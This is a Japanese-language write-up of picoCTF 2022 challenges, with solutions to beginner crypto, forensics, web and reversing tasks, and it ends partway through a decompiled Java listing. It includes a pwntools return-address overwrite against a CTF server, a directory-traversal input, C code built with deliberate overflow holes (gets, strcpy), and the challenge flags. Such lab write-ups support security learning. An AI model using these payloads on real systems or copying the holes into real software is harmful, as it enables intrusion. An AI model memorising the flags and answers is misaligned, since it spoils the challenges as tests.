Writer:b1uef0x / Webページ建造途中
コンペ中に解いた問題のWriteupを掲載。後から解いた問題についても順次追加していきたい。
The program provided allows you to write to a file and read what you wrote from it. Try playing around with it and see if you can break it!
Connect to the program with netcat:$ nc saturn.picoctf.net 50366
The program's source code with the flag redacted can be downloaded here.
プログラムのソースコードとサーバー上で動作しているプログラムが与えられる。
サーバー上で動作しているプログラムは3つのコマンドを持っている。
Command 2でデータを読む関数を見てみる。
static void data_read() {
char entry[4];
long entry_number;
char output[100];
int r;
memset(output, '\0', 100);
printf("Please enter the entry number of your data:\n");
r = tgetinput(entry, 4);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((entry_number = strtol(entry, NULL, 10)) == 0) {
puts(flag);
fseek(stdin, 0, SEEK_END);
exit(0);
}
entry_number--;
strncpy(output, data[entry_number], input_lengths[entry_number]);
puts(output);
}
flagを出す処理が含まれており、番号が0の時にflagを出力する。また、保存されたデータが存在しないときはこの関数までいけないため、適当なデータを保存したあとに0番目のデータを読めばflagを出せることがわかる。
picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NP75_25D6CDDB}
We found this weird message being passed around on the servers, we think we have a working decrpytion scheme.
Download the message here.
Take each number mod 37 and map it to the following character set: 0-25 is the alphabet (uppercase), 26-35 are the decimal digits, and 36 is an underscore.
Wrap your decrypted message in the picoCTF flag format (i.e. picoCTF{decrypted_message})
暗号化されたメッセージが与えられる。
54 396 131 198 225 258 87 258 128 211 57 235 114 258 144 220 39 175 330 338 297 288
書いてある通りに37の剰余を取って文字を割り当てる。
import string
message = ("54 396 131 198 225 258 87 258 128 211 57 235 114 258 144 220 39 175 330 338 297 288").split(" ")
plaintext = ""
for m in message:
m2 = int(m) % 37
if m2==36:
plaintext += "_"
elif m2<26:
plaintext += string.ascii_uppercase[m2]
elif m2<36:
plaintext += string.digits[m2-26]
print(plaintext)
picoCTF{R0UND_N_R0UND_79C18FB3}
A new modular challenge!
Download the message here.
Take each number mod 41 and find the modular inverse for the result. Then map to the following character set: 1-26 are the alphabet, 27-36 are the decimal digits, and 37 is an underscore.
Wrap your decrypted message in the picoCTF flag format (i.e. picoCTF{decrypted_message})
暗号化されたメッセージが与えられる。
268 413 110 190 426 419 108 229 310 379 323 373 385 236 92 96 169 321 284 185 154 137 186
書いてある通りに41のモジュラ逆数を取って文字を割り当てる。
import string
message = ("268 413 110 190 426 419 108 229 310 379 323 373 385 236 92 96 169 321 284 185 154 137 186").split(" ")
plaintext = ""
for m in message:
m2 = pow(int(m), 41-2, 41)
if m2==37:
plaintext += "_"
elif m2>0 and m2<26:
plaintext += string.ascii_uppercase[m2-1]
elif m2>26 and m2<37:
plaintext += string.digits[m2-27]
print(plaintext)
picoCTF{1NV3R53LY_H4RD_C680BDC1}
Smash the stack
Let's start off simple, can you overflow the correct buffer? The program is available here. You can view source here. And connect with it using:nc saturn.picoctf.net 53935
基礎的なBOF問題。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#define FLAGSIZE_MAX 64
char flag[FLAGSIZE_MAX];
void sigsegv_handler(int sig) {
printf("%s\n", flag);
fflush(stdout);
exit(1);
}
void vuln(char *input){
char buf2[16];
strcpy(buf2, input);
}
int main(int argc, char **argv){
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler); // Set up signal handler
gid_t gid = getegid();
setresgid(gid, gid, gid);
printf("Input: ");
fflush(stdout);
char buf1[100];
gets(buf1);
vuln(buf1);
printf("The program will exit now\n");
return 0;
}
SIGSEGVを起こせばflagを表示する関数に飛ぶので、適当に長い文字を入力すればよい。
picoCTF{ov3rfl0ws_ar3nt_that_bad_a065d5d9}
We found a leak of a blackmarket website's login credentials. Can you find the password of the user cultiris and successfully decrypt it?
Download the leak here.
The first user in usernames.txt corresponds to the first password in passwords.txt. The second user corresponds to the second password, and so on.
ユーザー名と暗号化されたパスワードリストが配布される。
ユーザー名:cultirisは378行目なので、パスワード一覧の378行目を見るとcvpbPGS{P7e1S_54I35_71Z3}
となっている。見るからにROT13っぽいので、CyberChef等でROT13にかけるとflagになる。
picoCTF{C7r1F_54V35_71M3}
Enter the CVE of the vulnerability as the flag with the correct flag format:picoCTF{CVE-XXXX-XXXXX} replacing XXXX-XXXXX with the numbers for the matching vulnerability.
The CVE we're looking for is the first recorded remote code execution (RCE) vulnerability in 2021 in the Windows Print Spooler Service, which is available across desktop and server versions of Windows operating systems. The service is used to manage printers and print servers.
説明文に該当する脆弱性のCVE番号を探す。Windowsの印刷スプーラーの脆弱性はCVE-2021-34527である。
picoCTF{CVE-2021-34527}
WDownload this image file and find the flag.
Download image file
SVGファイルが配布される。SVGのコードを見ると中に分割されたflagが見つかる。
<text
xml:space="preserve"
style="font-style:normal;font-weight:normal;font-size:0.00352781px;line-height:1.25;font-family:sans-serif;letter-spacing:0px;word-spacing:0px;fill:#ffffff;fill-opacity:1;stroke:none;stroke-width:0.26458332;"
x="107.43014"
y="132.08501"
id="text3723"><tspan
sodipodi:role="line"
x="107.43014"
y="132.08501"
style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
id="tspan3748">p </tspan><tspan
sodipodi:role="line"
x="107.43014"
y="132.08942"
style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
id="tspan3754">i </tspan><tspan
sodipodi:role="line"
x="107.43014"
y="132.09383"
style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
id="tspan3756">c </tspan><tspan
sodipodi:role="line"
x="107.43014"
y="132.09824"
style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
id="tspan3758">o </tspan><tspan
sodipodi:role="line"
x="107.43014"
y="132.10265"
style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
id="tspan3760">C </tspan><tspan
sodipodi:role="line"
x="107.43014"
y="132.10706"
style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
id="tspan3762">T </tspan><tspan
sodipodi:role="line"
x="107.43014"
y="132.11147"
style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
id="tspan3764">F { 3 n h 4 n </tspan><tspan
sodipodi:role="line"
x="107.43014"
y="132.11588"
style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;"
id="tspan3752">c 3 d _ a a b 7 2 9 d d }</tspan></text>
picoCTF{3nh4nc3d_aab729dd}
This file was found among some files marked confidential but my pdf reader cannot read it, maybe yours can.
You can download the file from here.
Flag.pdfが配布される。中身を見るとテキストデータになっており、シェルアーカイブのようだ。
sudo apt install sharutils
でSharutilsを導入してFlag.pdfを実行するとflagファイルが生成される。これも何らかのファイルのようだ。
うさみみハリケーンの"青い空を見上げればいつもそこに白い猫"にファイルを読ませて拡張子推定をしてみると、arファイルであることがわかる。
以後、ファイル拡張子を推定して対応するアーカイバで解凍していくとar、cpio、br、gz、lzip、lz4、lzma、lzop、zlip、xz形式の圧縮ファイルの入れ子構造になっていた。
やたらと面倒くさいので解凍過程は割愛する。Windows上で7zを使えばいくつかは解凍できるものの、大半はファイルをそのまま圧縮しておりLinux環境でコマンドを打ってdecompressをしたほうが早い。
最後にテキストファイルが得られる。
7069636f4354467b66316c656e406d335f6d406e3170756c407431306e5f
6630725f3062326375723137795f33633739633562617d0a
16進数文字列で、先頭の70,69はpとiのASCIIコードになっているのでHexデータと考えられる。CyberChefに突っ込んでFrom Hexを使えばflagが手に入る。
picoCTF{f1len@m3_m@n1pul@t10n_f0r_0b2cur17y_3c79c5ba}
A program has been provided to you, what happens if you try to run it on the command line?
Download the program here.
Linuxの実行ファイルが配布され、Linux上で実行させるだけ。
picoCTF{U51N6_Y0Ur_F1r57_F113_9bc52b6b}
Another program, but this time, it seems to want some input. What happens if you try to run it on the command line with input "Hello!"?
Download the program here.
Linuxの実行ファイルが配布される。Hello!の文字列を引数にしてLinux上で実行させるだけ。
picoCTF{F1r57_4rgum3n7_be0714da}
Can you get the flag?
Download this binary.
Here's the test drive instructions:
$ chmod +x gdbme $ gdb gdbme (gdb) layout asm (gdb) break *(main+99) (gdb) run (gdb) jump *(main+104)
gdbの練習。書いてある通りにコマンドを入力していけばflag取得。
picoCTF{d3bugg3r_dr1v3_197c378a}
Can you get the flag?
Go to this website and see what you can discover.
Webページからflagを探す問題。タイトルどおり、外部から読み込まれているファイルを調べると、script.jsとstyle.cssに分割されたflagが見つかる。。
picoCTF{1nclu51v17y_1of2_f7w_2of2_df589022}
Can you get the flag?
Go to this website and see what you can discover.
ユーザー名とパスワードを入力するページが与えられる。適当な値で入力すると「Log In Failed」になるが、実はクライアント側で判定しており、login.phpに読み込まれるsecure.js内にユーザー名とパスワードが書かれている。
function checkPassword(username, password)
{
if( username === 'admin' && password === 'strongPassword098765' )
{
return true;
}
else
{
return false;
}
}
正しいユーザー名とパスワードを入力するとログインに成功してflag表示。
picoCTF{j5_15_7r4n5p4r3n7_05df90c8}
Attackers have hidden information in a very large mass of data in the past, maybe they are still doing it.
Download the data here.
長文が書かれたテキストファイルが与えられる。flagの形式はわかっているのでpicoCTFを検索すればヒットする。
picoCTF{gr3p_15_@w3s0m3_4c479940}
Morse code is well known. Can you decrypt this?
Download the file here.
Wrap your answer with picoCTF{}, put underscores in place of pauses, and use all lowercase.
モールス信号の音声の入ったwaveファイルが配布される。Audacityで波形表示させるとモールス信号のツートンが見えてわかりやすい。
波形を書き写す。
・-- ・・・・ ・・・・- --・・・
・・・・ ・・・・- --・・・ ・・・・
----・ ----- -・・
・-- ・・--- ----- ・・- ----・ ・・・・ --・・・
問題文通りに英数字とアンダースコアに変換してflag取得。
picoCTF{wh47_h47h_90d_w20u9h7}
Download the packet capture file and use packet analysis software to find the flag.
Download packet capture
配布されるpcapファイルをWiresharkで開くとTCPストリームにflagがある。
picoCTF{p4ck37_5h4rk_ceccaa7f}
Can you get the flag?
Run this Python program in the same directory as this encrypted flag.
Pythonファイルと暗号化されたflagが与えられる。Pythonファイルの関数を読む。
def level_1_pw_check():
user_pw = input("Please enter correct password for flag: ")
if( user_pw == "ak98" + \
"-=90" + \
"adfjhgj321" + \
"sleuth9000"):
print("Welcome back... your flag, user:")
decryption = str_xor(flag_enc.decode(), "utilitarian")
print(decryption)
return
print("That password is incorrect")
ifを書き換えればパスできるが、別に書き換えなくてもak98-=90adfjhgj321sleuth9000
と入力すればflagが復号される。
picoCTF{p47ch1ng_l1f3_h4ck_c4a4688b}
A type of transposition cipher is the rail fence cipher, which is described here. Here is one such cipher encrypted using the rail fence with 4 rails. Can you decrypt it?
Download the message here.
Put the decoded message in the picoCTF flag format, picoCTF{decoded_message}.
rail fence cipherを解読する。次の暗号文が与えられる。
Ta _7N6D49hlg:W3D_H3C31N__A97ef sHR053F38N43D7B i33___N6
使いやすいオンラインデコーダを探した。https://cryptii.com/pipes/rail-fence-cipher
KEY:4 OFFSET:0でデコードを試すと上手くいった。
The flag is: WH3R3_D035_7H3_F3NC3_8361N_4ND_3ND_4A76B997
picoCTF{WH3R3_D035_7H3_F3NC3_8361N_4ND_3ND_4A76B997}
Now you DON’T see me.
This report has some critical data in it, some of which have been redacted correctly, while some were not. Can you find an important key that was not redacted properly?
黒塗りPDF問題。
全選択でコピペ。
Financial Report for ABC Labs, Kigali, Rwanda for the year 2021.
Breakdown - Just painted over in MS word.
Cost Benefit Analysis
Credit Debit
This is not the flag, keep looking
Expenses from the
picoCTF{C4n_Y0u_S33_m3_fully}
Redacted document.
picoCTF{C4n_Y0u_S33_m3_fully}
Can you open this safe?
I forgot the key to my safe but this program is supposed to help me with retrieving the lost key. Can you help me unlock my safe?
Put the password you recover into the picoCTF flag format like:picoCTF{password}
javaのソースコードが配布される。
public static boolean openSafe(String password) {
String encodedkey = "cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYz";
if (password.equals(encodedkey)) {
System.out.println("Sesame open");
return true;
}
else {
System.out.println("Password is incorrect\n");
return false;
}
}
encodedkeyはbase64でエンコードされているのでデコードするとpasswordになる。
picoCTF{pl3as3_l3t_m3_1nt0_th3_saf3}
The developer of this website mistakenly left an important artifact in the website source, can you find it?
The website is here
Webページからflagを探す問題。/css/style.css 内にflagがある。
picoCTF{1nsp3ti0n_0f_w3bpag3s_587d12b8}
Download the disk image and use mmls on it to find the size of the Linux partition. Connect to the remote checker service to check your answer and get the flag.
Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.
Download disk image
Access checker program: nc saturn.picoctf.net 52279
配布されるディスクイメージ内のLinuxのパーティションサイズを確認する問題。mmlsを使えとあったがFTK imagerで読んでセクター数が202752であることを確認した。
picoCTF{mm15_f7w!}
A message has come in but it seems to be all scrambled. Luckily it seems to have the key at the beginning. Can you crack this substitution cipher?
Download the message here.
暗号化されたテキストが与えられる。換字暗号である。
EKSZJTCMXOQUDYLFABGPHNRVIW
Mjbjhfly Ujcbeyz eblgj, rxpm e cbenj eyz gpepjui exb, eyz kblhcmp dj pmj kjjpuj
tbld e cuegg segj xy rmxsm xp reg jysulgjz. Xp reg e kjehpxthu gsebekejhg, eyz, ep
pmep pxdj, hyqylry pl yephbeuxgpg—lt slhbgj e cbjep fbxwj xy e gsxjypxtxs flxyp
lt nxjr. Pmjbj rjbj prl blhyz kuesq gflpg yjeb lyj jvpbjdxpi lt pmj kesq, eyz e
ulyc lyj yjeb pmj lpmjb. Pmj gseujg rjbj jvsjjzxycui mebz eyz culggi, rxpm euu pmj
effjebeysj lt khbyxgmjz cluz. Pmj rjxcmp lt pmj xygjsp reg njbi bjdebqekuj, eyz,
peqxyc euu pmxycg xypl slygxzjbepxly, X slhuz mebzui kuedj Ohfxpjb tlb mxg lfxyxly
bjgfjspxyc xp.
Pmj tuec xg: fxslSPT{5HK5717H710Y_3N0UH710Y_59533E2J}
Substitution cipher decoder( https://planetcalc.com/8047/ )。この辺に暗号化されたメッセージを投げつければ解ける。
picoCTF{5UB5717U710N_3V0LU710N_59533A2E}
A second message has come in the mail, and it seems almost identical to the first one. Maybe the same thing will work again.
Download the message here.
暗号化されたテキストが与えられる。まだ換字暗号っぽい。
IECj (jqfue cfu ixzelus eqs coxa) xus x emzs fc ifrzlesu jsiludem ifrzsededfy.
Ifyesjexyej xus zusjsyesk hdeq x jse fc iqxoosyasj hqdiq esje eqsdu iusxedgdem, esiqydixo (xyk affaodya) jpdooj,
xyk zuftosr-jfogdya xtdodem. Iqxoosyasj ljlxoom ifgsu x ylrtsu fc ixesafudsj, xyk hqsy jfogsk,
sxiq mdsokj x jeudya (ixoosk x coxa) hqdiq dj jltrdeesk ef xy fyodys jifudya jsugdis.
IECj xus x ausxe hxm ef osxuy x hdks xuuxm fc ifrzlesu jsiludem jpdooj dy x jxcs, osaxo sygdufyrsye,
xyk xus qfjesk xyk zoxmsk tm rxym jsiludem auflzj xuflyk eqs hfuok cfu cly xyk zuxiedis. Cfu eqdj zuftosr,
eqs coxa dj: zdifIEC{CU3NL3YIM_4774IP5_4U3_I001_4871S6CT}
Substitution cipher decoder( https://planetcalc.com/8047/ )。同じくこの辺にメッセージを投げつけてみる。
picoCTF{FR3JU3NCY_4774CK5_4R3_C001_4871E6FB}
が出てくるが、これは上手く行かない。しかし意味的にFR3JU3NCYはFR3QU3NCYが正しそうなのでJ→Qに修正すると正解した。
picoCTF{FR3QU3NCY_4774CK5_4R3_C001_4871E6FB}
It seems that another encrypted message has been intercepted. The encryptor seems to have learned their lesson though and now there isn't any punctuation! Can you still crack the cipher?
Download the message here.
暗号化されたテキストが与えられる。カンマ、スペース、ピリオドがなくなっているが相変わらず換字暗号。
gvjwjjoeugujajwqxzgvjwkjxxjugqfxeuvjivecvumvzzxmzbpsgjwujmswegrmzbpjgegezhuehmxsiehcmr
fjwpqgwezgqhisumrfjwmvqxxjhcjgvjujmzbpjgegezhunzmsupwebqwexrzhurugjbuqibeheugwqgezhnsh
iqbjhgqxukvemvqwjajwrsujnsxqhibqwdjgqfxjudexxuvzkjajwkjfjxejajgvjpwzpjwpswpzujznqvecvu
mvzzxmzbpsgjwujmswegrmzbpjgegezheuhzgzhxrgzgjqmvaqxsqfxjudexxufsgqxuzgzcjgugsijhguehgj
wjugjiehqhijomegjiqfzsgmzbpsgjwumejhmjijnjhueajmzbpjgegezhuqwjzngjhxqfzwezsuqnnqewuqhi
mzbjizkhgzwshhehcmvjmdxeuguqhijojmsgehcmzhnecumwepguznnjhujzhgvjzgvjwvqhieuvjqaexrnzms
ujizhjopxzwqgezhqhiebpwzaeuqgezhqhizngjhvqujxjbjhguznpxqrkjfjxejajqmzbpjgegezhgzsmvehc
zhgvjznnjhueajjxjbjhguznmzbpsgjwujmswegreugvjwjnzwjqfjggjwajvemxjnzwgjmvjaqhcjxeubgzug
sijhguehqbjwemqhvecvumvzzxunswgvjwkjfjxejajgvqgqhshijwugqhiehcznznnjhueajgjmvhelsjueuj
uujhgeqxnzwbzshgehcqhjnnjmgeajijnjhujqhigvqggvjgzzxuqhimzhnecswqgezhnzmsujhmzshgjwjieh
ijnjhueajmzbpjgegezhuizjuhzgxjqiugsijhgugzdhzkgvjewjhjbrqujnnjmgeajxrqugjqmvehcgvjbgzq
mgeajxrgvehdxedjqhqggqmdjwpemzmgneuqhznnjhueajxrzwejhgjivecvumvzzxmzbpsgjwujmswegrmzbp
jgegezhgvqgujjdugzcjhjwqgjehgjwjugehmzbpsgjwumejhmjqbzhcvecvumvzzxjwugjqmvehcgvjbjhzsc
vqfzsgmzbpsgjwujmswegrgzpelsjgvjewmswezuegrbzgeaqgehcgvjbgzjopxzwjzhgvjewzkhqhijhqfxeh
cgvjbgzfjggjwijnjhigvjewbqmvehjugvjnxqceupemzMGN{H6W4B_4H41R515_15_73I10S5_8J1FN808}
Substitution cipher decoder( https://planetcalc.com/8047/ )。同じくこの辺にメッセージを投げつけると解ける。
picoCTF{N6R4M_4N41Y515_15_73D10U5_8E1BF808}
Our data got corrupted on the way here. Luckily, nothing got replaced, but every block of 3 got scrambled around! The first word seems to be three letters long, maybe you can use that to recover the rest of the message.
Download the corrupted message here.
暗号文が与えられ、問題文にはメッセージを3つのブロックに分割してスクランブルしたと書かれている。
heTfl g as iicpCTo{7F4NRP051N5_16_35P3X51N3_V6E5926A}4
メッセージを3つに分割する。
heTfl g as iicpCTo
{7F4NRP051N5_16_35
P3X51N3_V6E5926A}4
1つ目のブロックの平文はThe flag is picoCT
であったはずなので、これがheTfl g as iicpCTo
となるような単語の交換規則を考える。3文字の塊ごとに文字を入れ替えていると考えて次のJavaScriptを作成。
var enc = ["heTfl g as iicpCTo","{7F4NRP051N5_16_35","P3X51N3_V6E5926A}4"];
trans = function(block) {
var res = "";
for(var i=0; i<block.length; i+=3) {
res += block.charAt(i+2)+block.charAt(i)+block.charAt(i+1);
}
return res;
}
for(i=0; i<enc.length; i++)document.write(trans(enc[i]));
実行するとflagを取得。
picoCTF{7R4N5P051N6_15_3XP3N51V3_56E6924A}
Can you get the flag?
Reverse engineer this Python program.
以下のPythonコードが配布される。
import base64
from cryptography.fernet import Fernet
payload = b'gAAAAABiMD04m0Z6CohVV7ozdwHqtgc2__CuAFGG8rWhZBTL0lhfzp-mhu9LYNMnMQMGO-7tEwy3DJ2Y8yjogvzyojFETwN9YEIPXTnO9F1QnkPypWTgjISGve4gcSerJMs694oKcIdKHuVaSxOg1MMNs5k9iPaBIPU7xOKQqCyhnf_f4yUvLdMcer38BqRptocJNvKlyWN8h7ikoWL0zlssxd8OJyPujMz78HZaefvUouvq6LDtPVqRBJFPgSJYf1nHpHKFa1O0zJ6UpTe6ba3PPAxCVXutNg=='
key_str = 'correctstaplecorrectstaplecorrec'
key_base64 = base64.b64encode(key_str.encode())
f = Fernet(key_base64)
plain = f.decrypt(payload)
exec(plain.decode())
payloadを復号してexecで実行させているようだ。exec関数をprint関数に書き換えれば次のようなアンパックされたコードが見える。
pw = input('What\'s the password? ')
if pw == 'batteryhorse':
print('picoCTF{175_chr157m45_5274ff21}')
else:
print('That password is incorrect.')
picoCTF{175_chr157m45_5274ff21}
Can you decrypt this message?
Decrypt this message using this key "CYLAB".
タイトル通りVigenere暗号の問題。暗号文はrgnoDVD{O0NU_WQ3_G1G3O3T3_A1AH3S_cc82272b}
で鍵はCYLAB
。CyberChefで復号できる。
picoCTF{D0NT_US3_V1G3N3R3_C1PH3R_ae82272q}
Can you get the flag?
Run this Python program in the same directory as this encrypted flag.
暗号化されたflag.txt.encと復号用のPythonスクリプト:bloat.flag.pyが配布される。試しに実行するとPlease enter correct password for flag:
とパスワードを訊かれる。
bloat.flag.pyの中身を確認してみる。
import sys
a = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ"+ \
"[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ "
def arg133(arg432):
if arg432 == a[71]+a[64]+a[79]+a[79]+a[88]+a[66]+a[71]+a[64]+a[77]+a[66]+a[68]:
return True
else:
print(a[51]+a[71]+a[64]+a[83]+a[94]+a[79]+a[64]+a[82]+a[82]+a[86]+a[78]+\
a[81]+a[67]+a[94]+a[72]+a[82]+a[94]+a[72]+a[77]+a[66]+a[78]+a[81]+\
a[81]+a[68]+a[66]+a[83])
sys.exit(0)
return False
def arg111(arg444):
return arg122(arg444.decode(), a[81]+a[64]+a[79]+a[82]+a[66]+a[64]+a[75]+\
a[75]+a[72]+a[78]+a[77])
def arg232():
return input(a[47]+a[75]+a[68]+a[64]+a[82]+a[68]+a[94]+a[68]+a[77]+a[83]+\
a[68]+a[81]+a[94]+a[66]+a[78]+a[81]+a[81]+a[68]+a[66]+a[83]+\
a[94]+a[79]+a[64]+a[82]+a[82]+a[86]+a[78]+a[81]+a[67]+a[94]+\
a[69]+a[78]+a[81]+a[94]+a[69]+a[75]+a[64]+a[70]+a[25]+a[94])
def arg132():
return open('flag.txt.enc', 'rb').read()
def arg112():
print(a[54]+a[68]+a[75]+a[66]+a[78]+a[76]+a[68]+a[94]+a[65]+a[64]+a[66]+\
a[74]+a[13]+a[13]+a[13]+a[94]+a[88]+a[78]+a[84]+a[81]+a[94]+a[69]+\
a[75]+a[64]+a[70]+a[11]+a[94]+a[84]+a[82]+a[68]+a[81]+a[25])
def arg122(arg432, arg423):
arg433 = arg423
i = 0
while len(arg433) < len(arg432):
arg433 = arg433 + arg423[i]
i = (i + 1) % len(arg423)
return "".join([chr(ord(arg422) ^ ord(arg442)) for (arg422,arg442) in zip(arg432,arg433)])
arg444 = arg132()
arg432 = arg232()
arg133(arg432)
arg112()
arg423 = arg111(arg444)
print(arg423)
sys.exit(0)
文字列が難読化されているが、print関数などに入れれば簡単に表示させることができる。
arg133関数内のIF式中のa[71]+a[64]+a[79]+a[79]+a[88]+a[66]+a[71]+a[64]+a[77]+a[66]+a[68]
が怪しいのでprintに入れて表示させてみると、happychance
になる。これがパスワードのようなのでhappychanceと入力するとflag入手。
picoCTF{d30bfu5c4710n_f7w_b8062eec}
Control the return address
Now we're cooking! You can overflow the buffer and return to the flag function in the program.
You can view source here. And connect with it using nc saturn.picoctf.net 55304
BOF問題。実行プログラムとcソースコードが配布され、サーバー上でサービスが稼働する。cソースコードを確認する。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
BOFでリターンアドレスを書き換えてwin関数に飛ばすことができればflagが取得できるようだ。リターンアドレスはその都度教えてくれるので、bufにたくさんの文字を入力してリターンアドレスが変化する長さを探す。
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
を入力した後に続く4文字がリターンアドレスになることがわかるので、続いてwin関数のアドレスを調べる。
objdump -M intel -d vuln > disass.txt
上記のobjdumpで逆アセンブル結果をdisass.txt出力させ、win関数のアドレスを調べると0x80491f6になっている。これをASCIIコードで入力するのは難しいので、以下のPythonコードを書いた。
from pwn import *
padding = b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
io = remote('saturn.picoctf.net',55304)
io.recvuntil("Please enter your string: ")
addr = 0x080491f6
payload = padding + (addr).to_bytes(8, "little")
io.sendline(payload)
io.interactive()
win関数にジャンプしてflagを取得。
picoCTF{addr3ss3s_ar3_3asy_ad2f467b}
Alice and Bob wanted to exchange information secretly. The two of them agreed to use the Diffie-Hellman key exchange algorithm, using p = 13 and g = 5. They both chose numbers secretly where Alice chose 7 and Bob chose 3. Then, Alice sent Bob some encoded text (with both letters and digits) using the generated key as the shift amount for a Caesar cipher over the alphabet and the decimal digits. Can you figure out the contents of the message? Download the message here.
Wrap your decrypted message in the picoCTF flag format like: picoCTF{decrypted_message}
Diffie–Hellman鍵共有の基礎的な問題。Diffie–Hellman鍵共有では、同一の鍵を共有したいAliceとBobは次のような手続きを行う。
今回は鍵共有のパラメータとしてp=13、g=5、a=7、b=3が与えられているので、共有鍵は 5^(3*7) mod 13 = 5 になる。さらに暗号文が与えられている。
H98A9W_H6UM8W_6A_9_D6C_5ZCI9C8I_D9FF6IFD
以上から、全角英数字と数字による5文字シフトのシーザー暗号の計算を行うJavaScriptを書いた。
var enc = "H98A9W_H6UM8W_6A_9_D6C_5ZCI9C8I_D9FF6IFD";
var dec = "";
var strs = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
for(i=0; i<enc.length; i++) {
chr = enc.charAt(i);
if(chr=="_") {
dec += chr;
continue;
}
dec += strs.charAt((strs.indexOf(chr)-5+strs.length)%strs.length);
}
document.writeln("picoCTF{"+dec+"}");
実行してflagを入手。
picoCTF{C4354R_C1PH3R_15_4_817_0U7D473D_84AA1DA8}
Can you get the flag?
Here's the website.
We know that the website files live in /usr/share/nginx/html/ and the flag is at /flag.txt but the website is filtering absolute file paths. Can you get past the filter to read the flag?
入力したファイルの中身を表示してくれるWebページが用意されている。簡単なディレクトリトラバーサル問題。../../../../flag.txt
を入力するとflag表示
picoCTF{7h3_p47h_70_5ucc355_6db46514}
Can you get the flag?
Reverse engineer this Java program.
Javaプログラム:KeygenMe.classが与えられ、これを解析する問題。jadで逆コンパイルする。
// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.kpdus.com/jad.html
// Decompiler options: packimports(3)
// Source File Name: KeygenMe.java
import java.io.PrintStream;
import java.util.Scanner;
public class KeygenMe
{
public KeygenMe()
{
}
public static void main(String args[])
{
Scanner scanner = new Scanner(System.in);
System.out.println("Enter key:");
String s = scanner.nextLine();
if(s.length() != 34)
{
System.out.println("Invalid key");
return;
}
if(s.charAt(33) != '}')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(32) != '9')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(31) != '8')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(30) != 'c')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(29) != 'a')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(28) != 'c')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(27) != '8')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(26) != '3')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(25) != '7')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(24) != '_')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(23) != 'd')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(22) != '3')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(21) != 'r')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(20) != '1')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(19) != 'u')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(18) != 'q')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(17) != '3')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(16) != 'r')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(15) != '_')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(14) != 'g')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(13) != 'n')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(12) != '1')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(11) != 'l')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(10) != '0')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(9) != '0')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(8) != '7')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(7) != '{')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(6) != 'F')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(5) != 'T')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(4) != 'C')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(3) != 'o')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(2) != 'c')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(1) != 'i')
{
System.out.println("Invalid key");
return;
}
if(s.charAt(0) != 'p')
{
